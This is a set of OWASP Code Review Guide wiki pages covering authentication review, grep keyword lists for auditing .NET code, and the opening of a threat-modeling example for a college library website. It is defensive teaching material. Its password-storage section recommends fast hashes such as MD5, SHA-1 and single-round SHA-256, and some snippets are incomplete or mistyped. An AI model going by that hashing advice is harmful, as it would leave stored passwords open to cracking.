Cross site scripting can be used on the authentication page to perform identity theft, Phishing, and session hijacking attacks.
*[[Reviewing Code for Error Handling]]
Bad/weak error handling can be used to establish the internal workings of the authentication functionality such as giving insight into the database structure, insight into valid and invalid user IDs, etc.
*[[Hashing Java|Hashing with Java]]

[[Category:OWASP Code Review Project]]

Codereview-Authentication

2009-05-05T11:54:05Z

KirstenS: /* Password Storage Strategy */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

==Introduction==
“Who are you?” Authentication is the process where an entity proves the identity of another entity, typically through credentials, such as a username and password.

Depending on your requirements, there are several available authentication mechanisms to choose from. If they are not correctly chosen and implemented, the authentication mechanism can expose vulnerabilities that attackers can exploit to gain access to your system.

The storage of passwords and user credentials is an issue from a defense in depth approach, but also from a compliance standpoint. The following section also discusses password storage and what to review for.

The following discusses aspects of source code relating to weak authentication functionality. This could be due to flawed implementation or broken business logic: Authentication is a key line of defence in protecting non-public data, sensitive functionality.

===Weak Passwords and Password Functionality===
Password strength should be enforced upon a user setting/selecting a password. Passwords should be complex in composition. Such checks should be done on the backend/server side of the application upon an attempt to submit a new password.

====Bad Example====
Simply checking that a password is not NULL is not sufficient:

String password = request.getParameter("Password");
if (password == Null)
{throw InvalidPasswordException()
}

====Good Example====
Passwords should be checked for the following composition or a variance of such

* at least: 1 uppercase character (A-Z)
* at least: 1 lowercase character (a-z)
* at least: 1 digit (0-9)
* at least one special character (!"£$%&...)
* a defined minimum length (8 chars)
* a defined maximum length (as with all external input)
* no contiguous characters (123abcd)
* not more than 2 identical characters in a row (1111)

Such rules should be looked for in code and used as soon as the http request is received. The rules can be complex RegEx expressions or logical code statements:

if password.RegEx([a-z])
and password.RegEx([A-Z])
and password.RegEx([0-9])
and password.RegEx({8-30})
and password.RexEX([!"£$%^&*()])
return true;
else
return false;

A regular expression statement for code above:

(?=^.{8,30}$)(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[!@#$%^&*()_+}{"":;'?/>.<,]).*$

=== '''.NET Authentication controls''' ===
In the .NET, there is Authentication tags in the configuration file.

The <'''authentication'''> element configures the authentication mode that your applications use.

<'''authentication'''>

The appropriate authentication mode depends on how your application or Web
service has been designed. The default Machine.config setting applies a secure
Windows authentication default as shown below.

''' authentication Attributes:mode="[Windows|Forms|Passport|None]" '''

<authentication mode="Windows" />

''' Forms Authentication Guidelines '''
To use Forms authentication, set mode=“Forms” on the <authentication> element.
Next, configure Forms authentication using the child <forms> element. The
following fragment shows a secure <forms> authentication element configuration:

<authentication mode="Forms">
<forms loginUrl="Restricted\login.aspx" Login page in an SSL protected folder
protection="All" Privacy and integrity
requireSSL="true" Prevents cookie being sent over http
timeout="10" Limited session lifetime
name="AppNameCookie" Unique per-application name
path="/FormsAuth" and path
slidingExpiration="true" > Sliding session lifetime
</forms>
</authentication>

Use the following recommendations to improve Forms authentication security:
* Partition your Web site.
* Set protection=“All”.
* Use small cookie time-out values.
* Consider using a fixed expiration period.
* Use SSL with Forms authentication.
* If you do not use SSL, set slidingExpiration = “false”.
* Do not use the <credentials> element on production servers.
* Configure the <machineKey> element.
* Use unique cookie names and paths.

For classic ASP pages, authentication is usually performed manually by including the user information in session variables after validation against a DB, so you can look for something like:
Session ("UserId") = UserName
Session ("Roles") = UserRoles

====Cookieless Forms authentication====
Authentication tickets in forms are by default stored in cookies (Authentication tickets are used to remember if the user has authenticated to the system), such as a unique ID in the cookie of the HTTP header. Other methods to preserve authentication in the stateless HTTP protocol. The directive cookieless can define thet type of authentication ticket to be used.

Types of cookieless values on the <forms> element:

* UseCookies – specifies that cookie tickets will always be used.
* UseUri – indicates that cookie tickets will never be used.
* AutoDetect – cookie tickets are not used if device does not support such; if the device profile supports cookies, a probing function is used to determine if cookies are enabled.
* UseDeviceProfile – the default setting if not defined; uses cookie-based authentication tickets only if the device profile supports cookies. A probing function is not used.

cookieless="UseUri" : What may be found in the <forms> element above

When we talk about probing we are refering to the user agent directive in the HTTP header. This can inform ASP.NET is cookies are supported.

==Password Storage Strategy==
The storage of passwords is also of concern, as unauthorized access to an application may give rise to an attacker to access the area where passwords are stored.

Passwords should be stored using a one-way hash algorithm. One way functions (SHA-256 SHA-1 MD5, ..;) are also known as Hashing functions. Once passwords are persisted, there is no reason why they should be human-readable. The functionality for authentication performs a hash of the password passed by the user and compares it to the stored hash. If the passwords are identical, the hashes are equal.

Storing a hash of a password, which cannot be reversed, makes it more difficult to recover the plain text passwords. It also ensures that administration staff for an application does not have access to other users’ passwords, and hence helps mitigate the internal threat vector.

Example code in Java implementing SHA-1 hashing:

import java.security.MessageDigest;
public byte[] getHash(String password) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("SHA-1");
digest.reset();
byte[] input = digest.digest(password.getBytes("UTF-8"));

'''Salting:'''
Storing simply hashed passwords has its issues, such as the possibility to identify two identical passwords (identical hashes) and also the [http://en.wikipedia.org/wiki/Birthday_paradox birthday attack]. A countermeasure for such issues is to introduce a salt. A salt is a random number of a fixed length. This salt must be different for each stored entry. It must be stored as clear text next to the hashed password:

import java.security.MessageDigest;
public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
digest.reset();
digest.update(salt);
return digest.digest(password.getBytes("UTF-8"));
}

===Vulnerabilities related to authentication ===

There are many issues relating to authentication which utilise form fields. Inadequate field validation can give rise to the following issues:

*[[Reviewing Code for SQL Injection]]
SQL injection can be used to bypass authentication functionality and even add a malicious user to a system for future use.
*[[Reviewing Code for Data Validation]]
Data validation of all external input must be performed. This also goes for authentication fields.
*[[Reviewing code for XSS issues]]
Cross site scripting can be used on the authentication page to perform identity theft, Phishing, and session hijacking attacks.
*[[Reviewing Code for Error Handling]]
Bad/weak error handling can be used to establish the internal workings of the authentication functionality such as giving insight into the database structure, insight into valid and invalid user IDs, etc.
*[[Hashing Java|Hashing with Java]]

[[Category:OWASP Code Review Project]]

Crawling Code

2009-05-05T11:36:50Z

KirstenS: /* Searching for Code in .NET */

[[OWASP Code Review Guide Table of Contents]]__TOC__

Crawling code is the practice of scanning a code base of the review target in question. It is, in effect, looking for key pointers wherein a possible security vulnerability might reside. Certain APIs are related to interfacing to the external world or file IO or user management, which are key areas for an attacker to focus on. In crawling code we look for APIs relating to these areas. We also need to look for business logic areas which may cause security issues, but generally these are bespoke methods which have bespoke names and can not be detected directly, even though we may touch on certain methods due to their relationship with a certain key API.

We also need to look for common issues relating to a specific language; issues that may not be *security* related but which may affect the stability/availability of the application in the case of extraordinary circumstances. Other issues when performing a code review are areas such a simple copyright notice in order to protect one’s intellectual property.

Crawling code can be done manually or in an automated fashion using automated tools. Tools as simple as grep or wingrep can be used. Other tools are available which would search for key words relating to a specific programming language.

The following sections shall cover the function of crawing code for Java/J2EE, .NET and Classic ASP. This section is best used in conjunction with the [[Security Code Review Coverage|transactional analysis]] section also detailed in this guide.

==Searching for Key Indicators==
The basis of the code review is to locate and analyse areas of code which may have application security implications. Assuming the code reviewer has a thorough understanding of the code, what it is intended to do, and the context in which it is to be used, firstly one needs to sweep the code base for areas of interest.

This can be done by performing a text search on the code base looking for keywords relating to APIs and functions. Below is a guide for .NET framework 1.1 & 2.0

==Searching for Code in .NET==
Firstly one needs to be familiar with the tools one can use in order to perform text searching, following this one needs to know what to look for.

In this section we will assume you have a copy of Visual Studio (VS) .NET at hand. VS has two types of search "Find in Files" and a cmd line tool called Findstr.

The test search tools in XP is not great in my experience and if one has to use this make sure SP2 in installed as it works better. To start off, one should scan thorough the code looking for common patterns or keywords such as "User", "Password", "Pswd", "Key", "Http", etc... This can be done using the "Find in Files" tool in VS or using findstring as follows:

findstr /s /m /i /d:c:\projects\codebase\sec "http" *.*

==HTTP Request Strings==
Requests from external sources are obviously a key area of a security code review. We need to ensure that all HTTP requests received are data validated for composition, max and min length, and if the data falls with the realms of the parameter white-list. Bottom-line is this is a key area to look at and ensure security is enabled.

request.accepttypes 
request.browser 
request.files 
request.headers 
request.httpmethod 
request.item 
request.querystring 
request.form 
request.cookies 
request.certificate 
request.rawurl 
request.servervariables 
request.url 
request.urlreferrer 
request.useragent 
request.userlanguages 
request.IsSecureConnection 
request.TotalBytes 
request.BinaryRead 
InputStream 
HiddenField.Value 
TextBox.Text 
recordSet 

==HTML Output==
Here we are looking for responses to the client. Responses which go unvalidated or which echo external input without data validation are key areas to examine. Many client side attacks result from poor response validation. XSS relies on this somewhat.

response.write 
<% = 
HttpUtility 
HtmlEncode 
UrlEncode 
innerText 
innerHTML 

==SQL & Database==
Locating where a database may be involved in the code is an important aspect of the code review. Looking at the database code will help determine if the application is vulnerable to SQL injection. One aspect of this is to verify that the code uses either SqlParameter, OleDbParameter, or OdbcParameter(System.Data.SqlClient). These are typed and treat parameters as the literal value and not executable code in the database.

exec sp_executesql 
execute sp_executesql 
select from 
Insert 

update 
delete from where 
delete 
exec sp_ 
execute sp_ 
exec xp_ 
execute sp_ 
exec @ 
execute @ 
executestatement 
executeSQL 
setfilter 
executeQuery 
GetQueryResultInXML 
adodb 
sqloledb 
sql server 

driver 
Server.CreateObject 
.Provider 
.Open 
ADODB.recordset 
New OleDbConnection 
ExecuteReader 
DataSource 

SqlCommand 
Microsoft.Jet 
SqlDataReader 
ExecuteReader 
GetString 
SqlDataAdapter 
CommandType 
StoredProcedure 
System.Data.sql 

==Cookies==
Cookie manipulation can be key to various application security exploits, such as session hijacking/fixation and parameter manipulation. One should examine any code relating to cookie functionality, as this would have a bearing on session security.

System.Net.Cookie 
HTTPOnly 
document.cookie 

==HTML Tags==
Many of the HTML tags below can be used for client side attacks such as cross site scripting. It is important to examine the context in which these tags are used and to examine any relevant data validation associated with the display and use of such tags within a web application.

HtmlEncode 
URLEncode 
<applet> 
<frameset> 
<embed> 
<frame> 
<html> 
<iframe> 
<img> 
<style> 
<layer> 
<ilayer> 
<meta> 
<object> 
<body> 
<frame security 
<iframe security 

==Input Controls==
The input controls below are server classes used to produce and display web application form fields. Looking for such references helps locate entry points into the application.

system.web.ui.htmlcontrols.htmlinputhidden
system.web.ui.webcontrols.hiddenfield
system.web.ui.webcontrols.hyperlink
system.web.ui.webcontrols.textbox
system.web.ui.webcontrols.label
system.web.ui.webcontrols.linkbutton
system.web.ui.webcontrols.listbox
system.web.ui.webcontrols.checkboxlist
system.web.ui.webcontrols.dropdownlist

==WEB.Config==
The .NET Framework relies on .config files to define configuration settings. The .config files are text-based XML files. Many .config files can, and typically do, exist on a single system. Web applications refer to a web.config file located in the application’s root directory. For ASP.NET applications, web.config contains information about most aspects of the application’s operation.

requestEncoding 
responseEncoding 
trace 
authorization 
compilation 
CustomErrors 
httpCookies 
httpHandlers 
httpRuntime 
sessionState 
maxRequestLength 
debug 
forms protection 
appSettings 
ConfigurationSettings 
appSettings 
connectionStrings 
authentication mode 
allow 
deny 
credentials 
identity impersonate 
timeout 
remote 

==global.asax==
Each application has its own Global.asax if one is required. Global.asax sets the event code and values for an application using scripts. One must ensure that application variables do not contain sensitive information, as they are accessible to the whole application and to all users within it.

Application_OnAuthenticateRequest 
Application_OnAuthorizeRequest 
Session_OnStart 
Session_OnEnd 

==Logging==
Logging can be a source of information leakage. It is important to examine all calls to the logging subsystem and to determine if any sensitive information is being logged. Common mistakes are logging userID in conjunction with passwords within the authentication functionality or logging database requests which may contains sensitive data.

log4net 
Console.WriteLine 
System.Diagnostics.Debug 
System.Diagnostics.Trace 

==Machine.config==
Its important that many variables in machine.config can be overridden in the web.config file for a particular application.

validateRequest 
enableViewState 
enableViewStateMac 

==Threads and Concurrency==
Locating code that contains multithreaded functions. Concurrency issues can result in race conditions which may result in security vulnerabilities. The Thread keyword is where new threads objects are created. Code that uses static global variables which hold sensitive security information may cause session issues. Code that uses static constructors may also cause issues between threads. Not synchronizing the Dispose method may cause issues if a number of threads call Dispose at the same time, this may cause resource release issues.

Thread 
Dispose 

==Class Design==
Public and Sealed relate to the design at class level. Classes which are not intended to be derived from should be sealed. Make sure all class fields are Public for a reason. Don't expose anything you don't need to.

Public 
Sealed 

==Reflection, Serialization==
Code may be generated dynamically at runtime. Code that is generated dynamically as a function of external input may give rise to issues. If your code contains sensitive data, does it need to be serialized?

Serializable 
AllowPartiallyTrustedCallersAttribute 
GetObjectData 
StrongNameIdentityPermission 
StrongNameIdentity 
System.Reflection 

==Exceptions & Errors==
Ensure that the catch blocks do not leak information to the user in the case of an exception. Ensure when dealing with resources that the finally block is used. Having trace enabled is not great from an information leakage perspective. Ensure customised errors are properly implemented.

catch{ 
Finally 
trace enabled 
customErrors mode 

==Crypto==
If cryptography is used then is a strong enough cipher used, i.e. AES or 3DES? What size key is used? The larger the better. Where is hashing performed? Are passwords that are being persisted hashed? They should be. How are random numbers generated? Is the PRNG "random enough"?

RNGCryptoServiceProvider 
SHA 
MD5 
base64 
xor 
DES 
RC2 
System.Random 
Random 
System.Security.Cryptography 

==Storage==
If storing sensitive data in memory, I recommend one uses the following.

SecureString 
ProtectedMemory 

==Authorization, Assert & Revert==
Bypassing the code access security permission? Not a good idea. Also below is a list of potentially dangerous permissions such as calling unmanaged code, outside the CLR.

.RequestMinimum 
.RequestOptional 
Assert 
Debug.Assert 
CodeAccessPermission 
ReflectionPermission.MemberAccess 
SecurityPermission.ControlAppDomain 
SecurityPermission.UnmanagedCode 
SecurityPermission.SkipVerification 
SecurityPermission.ControlEvidence 
SecurityPermission.SerializationFormatter 
SecurityPermission.ControlPrincipal 
SecurityPermission.ControlDomainPolicy 
SecurityPermission.ControlPolicy 

==Legacy Methods==
printf 
strcpy 

[[Category:OWASP Code Review Project]]

Application Threat Modeling

2009-05-04T17:14:22Z

KirstenS: /* Security Controls */

[[OWASP Code Review Guide Table of Contents]]__TOC__

 

----

===Introduction===
Threat modeling is an approach for analyzing the security of an application. It is a structured approach that enables you to identify, quantify, and address the security risks associated with an application. Threat modeling is not an approach to reviewing code, but it does complement the security code review process. The inclusion of threat modeling in the SDLC can help to ensure that applications are being developed with security built-in from the very beginning. This, combined with the documentation produced as part of the threat modeling process, can give the reviewer a greater understanding of the system. This allows the reviewer to see where the entry points to the application are and the associated threats with each entry point. The concept of threat modeling is not new but there has been a clear mindset change in recent years. Modern threat modeling looks at a system from a potential attacker's perspective, as opposed to a defender's viewpoint. Microsoft have been strong advocates of the process over the past number of years. They have made threat modeling a core component of their SDLC, which they claim to be one of the reasons for the increased security of their products in recent years.

When source code analysis is performed outside the SDLC, such as on existing applications, the results of the threat modeling help in reducing the complexity of the source code analysis by promoting an in-depth first approach vs. breadth first approach. Instead of reviewing all source code with equal focus, you can prioritize the security code review of components whose threat modeling has ranked with high risk threats.

The threat modeling process can be decomposed into 3 high level steps:

'''Step 1:''' Decompose the Application.
The first step in the threat modeling process is concerned with gaining an understanding of the application and how it interacts with external entities. This involves creating use-cases to understand how the application is used, identifying entry points to see where a potential attacker could interact with the application, identifying assets i.e. items/areas that the attacker would be interested in, and identifying trust levels which represent the access rights that the application will grant to external entities. This information is documented in the Threat Model document and it is also used to produce data flow diagrams (DFDs) for the application. The DFDs show the different paths through the system, highlighting the privilege boundaries.

'''Step 2:''' Determine and rank threats.
Critical to the identification of threats is using a threat categorization methodology. A threat categorization such as STRIDE can be used, or the Application Security Frame (ASF) that defines threat categories such as Auditing & Logging, Authentication, Authorization, Configuration Management, Data Protection in Storage and Transit, Data Validation, Exception Management. The goal of the threat categorization is to help identify threats both from the attacker (STRIDE) and the defensive perspective (ASF). DFDs produced in step 1 help to identify the potential threat targets from the attacker's perspective, such as data sources, processes, data flows, and interactions with users. These threats can be identified further as the roots for threat trees; there is one tree for each threat goal. From the defensive perspective, ASF categorization helps to identify the threats as weaknesses of security controls for such threats. Common threat-lists with examples can help in the identification of such threats. Use and abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. The determination of the security risk for each threat can be determined using a value-based risk model such as DREAD or a less subjective qualitative risk model based upon general risk factors (e.g. likelihood and impact).

'''Step 3:''' Determine countermeasures and mitigation.
A lack of protection of a threat might indicate a vulnerability whose risk exposure could be mitigated with the implementation of a countermeasure. Such countermeasures can be identified using threat-countermeasure mapping lists. Once a risk ranking is assigned to the threats, it is possible to sort threats from the highest to the lowest risk, and prioritize the mitigation effort, such as by responding to such threats by applying the identified countermeasures. The risk mitigation strategy might involve evaluating these threats from the business impact that they pose and reducing the risk. Other options might include taking the risk, assuming the business impact is acceptable because of compensating controls, informing the user of the threat, removing the risk posed by the threat completely, or the least preferable option, that is, to do nothing.

Each of the above steps are documented as they are carried out. The resulting document is the threat model for the application. This guide will use an example to help explain the concepts behind threat modeling. The same example will be used throughout each of the 3 steps as a learning aid. The example that will be used is a college library website. At the end of the guide we will have produced the threat model for the college library website. Each of the steps in the threat modeling process are described in detail below.

== Decompose the Application ==
The goal of this step is to gain an understanding of the application and how it interacts with external entities. This goal is achieved by information gathering and documentation. The information gathering process is carried out using a clearly defined structure, which ensures the correct information is collected. This structure also defines how the information should be documented to produce the Threat Model.

==Threat Model Information==
The first item in the threat model is the information relating to the threat model.
This must include the the following:

# '''Application Name''' - The name of the application.
# '''Application Version''' - The version of the application.
# '''Description''' - A high level description of the application.
# '''Document Owner''' - The owner of the threat modeling document.
# '''Participants''' - The participants involved in the threat modeling process for this application.
# '''Reviewer''' - The reviewer(s) of the threat model. 
Example: 
[[Category:FIXME|the list above includes an Application name, but the example does not have one]]

<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="2" align="center">Threat Model Information</th>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Application Version:</th>
<td>1.0</td>
</tr>

<tr bgcolor="#dddddd">
<th align="left"> Description:</th>
<td>The college library website is the first implementation of a website to provide librarians and library patrons (students and college staff) with online services.
As this is the first implementation of the website, the functionality will be limited. There will be three users of the application: 
1. Students 
2. Staff 
3. Librarians 
Staff and students will be able to log in and search for books, and staff members can request books. Librarians will be able to log in, add books, add users, and search for books.</td>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Document Owner:</th>
<td>David Lowry</td>
</tr>

<tr bgcolor="#dddddd">
<th align="left">Participants:</th>
<td>David Rook</td>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Reviewer:</th>
<td>Eoin Keary</td>
</tr>

</table>
 

==External Dependencies==
External dependencies are items external to the code of the application that may pose a threat to the application. These items are typically still within the control of the organization, but possibly not within the control of the development team. The first area to look at when investigating external dependencies is how the application will be deployed in a production environment, and what are the requirements surrounding this. This involves looking at how the application is or is not intended to be run. For example if the application is expected to be run on a server that has been hardened to the organization's hardening standard and it is expected to sit behind a firewall, then this information should be documented in the external dependencies section. External dependencies should be documented as follows:

# '''ID''' - A unique ID assigned to the external dependency.
# '''Description''' - A textual description of the external dependency.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="2" align="center">External Dependencies</th>
</tr>

<tr bgcolor="#cccccc">
<th>ID</th>
<th>Description</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>The college library website will run on a Linux server running Apache. This server will be hardened as per the college's server hardening standard. This includes the application of the latest operating system and application security patches.</td>
</tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>The database server will be MySQL and it will run on a Linux server. This server will be hardened as per the college's server hardening standard. This will include the application of the lastest operating system and application security patches.</td>
</tr>

<tr bgcolor="#dddddd">
<td>3</td>
<td>The connection between the Web Server and the database server will be over a private network.</td>
</tr>

<tr bgcolor="#cccccc">
<td>4</td>
<td>The Web Server is behind a firewall and the only communication available is TLS.</td>
</tr>

</table>
 

==Entry Points==
Entry points define the interfaces through which potential attackers can interact with the application or supply it with data. In order for a potential attacker to attack an application, entry points must exist. Entry points in an application can be layered, for example each web page in a web application may contain multiple entry points. Entry points should be documented as follows:

# '''ID''' - A unique ID assigned to the entry point. This will be used to cross reference the entry point with any threats or vulnerabilities that are identified. In the case of layer entry points, a major.minor notation should be used.
# '''Name''' - A descriptive name identifying the entry point and its purpose.
# '''Description''' - A textual description detailing the interaction or processing that occurs at the entry point.
# '''Trust Levels''' - The level of access required at the entry point is documented here. These will be cross referenced with the trusts levels defined later in the document.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Entry Points</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="15%">Name</th>
<th width="45%">Description</th>
<th width="25%">Trust Levels</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>HTTPS Port</td>
<td>The college library website will be only be accessable via TLS. All pages within the college library website are layered on this entry point.</td>
<td>(1) Anonymous Web User 
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</tr>

<tr bgcolor="#cccccc">
<td>1.1</td>
<td>Library Main Page</td>
<td>The splash page for the college library website is the entry point for all users.</td>
<td>(1) Anonymous Web User 
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</tr>

<tr bgcolor="#dddddd">
<td>1.2</td>
<td>Login Page</td>
<td>Students, faculty members and librarians must log in to the college library website before they can carry out any of the use cases.</td>
<td>(1) Anonymous Web User 
(2) User with Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</td>
</tr>

<tr bgcolor="#cccccc">
<td>1.2.1</td>
<td>Login Function</td>
<td>The login function accepts user supplied credentials and compares them with those in the database.</td>
<td>
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian</td>
</tr>

<tr bgcolor="#dddddd">
<td>1.3</td>
<td>Search Entry Page</td>
<td>The page used to enter a search query.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian</td>
</tr>

</table>
 

==Assets==
The system must have something that the attacker is interested in; these items/areas of interest are defined as assets. Assets are essentially threat targets, i.e. they are the reason threats will exist. Assets can be both physical assets and abstract assets. For example, an asset of an application might be a list of clients and their personal information; this is a physical asset. An abstract asset might be the reputation of an organsation. Assets are documented in the threat model as follows:

# '''ID''' - A unique ID is assigned to identify each asset. This will be used to cross reference the asset with any threats or vulnerabilities that are identified.
# '''Name''' - A descriptive name that clearly identifies the asset.
# '''Description''' - A textual description of what the asset is and why it needs to be protected.
# '''Trust Levels''' - The level of access required to access the entry point is documented here. These will be cross referenced with the trust levels defined in the next step.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Assets</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="15%">Name</th>
<th width="55%">Description</th>
<th width="25%">Trust Levels</th>
</tr>

<tr bgcolor="#cccccc">
<td>1</td>
<td>Library Users and Librarian</td>
<td>Assets relating to students, faculty members, and librarians.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>1.1</td>
<td>User Login Details</td>
<td>The login credentials that a student or a faculty member will use to log into the College Library website.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian 
(5) Database Server Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User
</td></tr>

<tr bgcolor="#dddddd">
<td>1.2</td>
<td>Librarian Login Details</td>
<td>The login credentials that a Librarian will use to log into the College Library website.</td>
<td>
(4) Librarian 
(5) Database Server Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User
</td></tr>

<tr bgcolor="#dddddd">
<td>1.3</td>
<td>Personal Data</td>
<td>The College Library website will store personal information relating to the students, faculty members, and librarians.</td>
<td>
(4) Librarian 
(5) Database Server Administrator 
(6) Website Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User

</td></tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>System</td>
<td>Assets relating to the underlying system.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>2.1</td>
<td>Availability of College Library Website</td>
<td>The College Library website should be available 24 hours a day and can be accessed by all students, college faculty members, and librarians.</td>
<td>
(5) Database Server Administrator 
(6) Website Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.2</td>
<td>Ability to Execute Code as a Web Server User</td>
<td>This is the ability to execute source code on the web server as a web server user.</td>
<td>
(6) Website Administrator 
(7) Web Server User Process 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.3</td>
<td>Ability to Execute SQL as a Database Read User</td>
<td>This is the ability to execute SQL select queries on the database, and thus retrieve any information stored within the College Library database.</td>
<td>
(5) Database Server Administrator 
(8) Database Read User 
(9) Database Read/Write User 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.4</td>
<td>Ability to Execute SQL as a Database Read/Write User</td>
<td>This is the ability to execute SQL. Select, insert, and update queries on the database and thus have read and write access to any information stored within the College Library database.</td>
<td>
(5) Database Server Administrator 
(9) Database Read/Write User 
</td>
</tr>

<tr bgcolor="#cccccc">
<td>3</td>
<td>Website</td>
<td>Assets relating to the College Library website.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>3.1</td>
<td>Login Session</td>
<td>This is the login session of a user to the College Library website. This user could be a student, a member of the college faculty, or a Librarian.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.2</td>
<td>Access to the Database Server</td>
<td>Access to the database server allows you to administer the database, giving you full access to the database users and all data contained within the database.</td>
<td>
(5) Database Server Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.3</td>
<td>Ability to Create Users</td>
<td>The ability to create users would allow an individual to create new users on the system. These could be student users, faculty member users, and librarian users.</td>
<td>
(4) Librarian 
(6) Website Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.3</td>
<td>Access to Audit Data</td>
<td>The audit data shows all audit-able events that occurred within the College Library application by students, staff, and librarians.</td>
<td>
(6) Website Administrator 
</td>
</tr>

</table>

 

==Trust Levels==
Trust levels represent the access rights that the application will grant to external entities. The trust levels are cross referenced with the entry points and assets. This allows us to define the access rights or privileges required at each entry point, and those required to interact with each asset. Trust levels are documented in the threat model as follows:

# '''ID''' - A unique number is assigned to each trust level. This is used to cross reference the trust level with the entry points and assets.
# '''Name''' - A descriptive name that allows you to identify the external entities that have been granted this trust level.
# '''Description''' - A textual description of the trust level detailing the external entity who has been granted the trust level.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Trust Levels</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="25%">Name</th>
<th width="70%">Description</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>Anonymous Web User</td>
<td>A user who has connected to the college library website but has not provided valid credentials.</td>
</tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>User with Valid Login Credentials</td>
<td>A user who has connected to the college library website and has logged in using valid login credentials.</td>
</tr>

<tr bgcolor="#cccccc">
<td>3</td>
<td>User with Invalid Login Credentials</td>
<td>A user who has connected to the college library website and is attempting to log in using invalid login credentials.</td>
</tr>

<tr bgcolor="#dddddd">
<td>4</td>
<td>Librarian</td>
<td>The librarian can create users on the library website and view their personal information.</td>
</tr>

<tr bgcolor="#cccccc">
<td>5</td>
<td>Database Server Administrator</td>
<td>The database server administrator has read and write access to the database that is used by the college library website.</td>
</tr>

<tr bgcolor="#dddddd">
<td>6</td>
<td>Website Administrator</td>
<td>The Website administrator can configure the college library website.</td>
</tr>

<tr bgcolor="#cccccc">
<td>7</td>
<td>Web Server User Process</td>
<td>This is the process/user that the web server executes code as and authenticates itself against the database server as.</td>
</tr>

<tr bgcolor="#dddddd">
<td>8</td>
<td>Database Read User</td>
<td>The database user account used to access the database for read access.</td>
</tr>

<tr bgcolor="#cccccc">
<td>9</td>
<td>Database Read/Write User</td>
<td>The database user account used to access the database for read and write access.</td>
</tr>
</table>
 

==Data Flow Diagrams==
All of the information collected allows us to accurately model the application through the use of Data Flow Diagrams (DFDs). The DFDs will allow us to gain a better understanding of the application by providing a visual representation of how the application processes data. The focus of the DFDs is on how data moves through the application and what happens to the data as it moves. DFDs are hierarchical in structure, so they can be used to decompose the application into subsystems and lower-level subsystems. The high level DFD will allow us to clarify the scope of the application being modeled. The lower level iterations will allow us to focus on the specific processes involved when processing specific data. There are a number of symbols that are used in DFDs for threat modeling. These are described below:

'''External Entity''' 
The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. 
[[Image:DFD_external_entity.gif]]
 

'''Process''' 
The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. 
[[Image:DFD_process.gif]]
 

'''Multiple Process''' 
The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. 
[[Image:DFD_multiple_process.gif]]
 

'''Data Store''' 
The data store shape is used to represent locations where data is stored. Data stores do not modify the data, they only store data. 
[[Image:DFD_data_store.gif]]
 

'''Data Flow''' 
The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. 
[[Image:DFD_data_flow.gif]]
 
'''Privilege Boundary''' 
The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. 
[[Image:DFD_privilge_boundary.gif]]
 

===Example===
 '''Data Flow Diagram for the College Library Website'''
 
[[Image:Data flow1.jpg]]
 
'''User Login Data Flow Diagram for the College Library Website'''
 
[[Image:Data flow2.jpg]]
 

== Determine and Rank Threats ==
===Threat Categorization===
The first step in the determination of threats is adopting a threat categorization. A threat categorization provides a set of threat categories with corresponding examples so that threats can be systematically identified in the application in a structured and repeatable manner.

====STRIDE====
A threat categorization such as STRIDE is useful in the identification of threats by classifying attacker goals such as:
*Spoofing
*Tampering
*Repudiation
*Information Disclosure
*Denial of Service
*Elevation of Privilege.

A threat list of generic threats organized in these categories with examples and the affected security controls is provided in the following table:

 
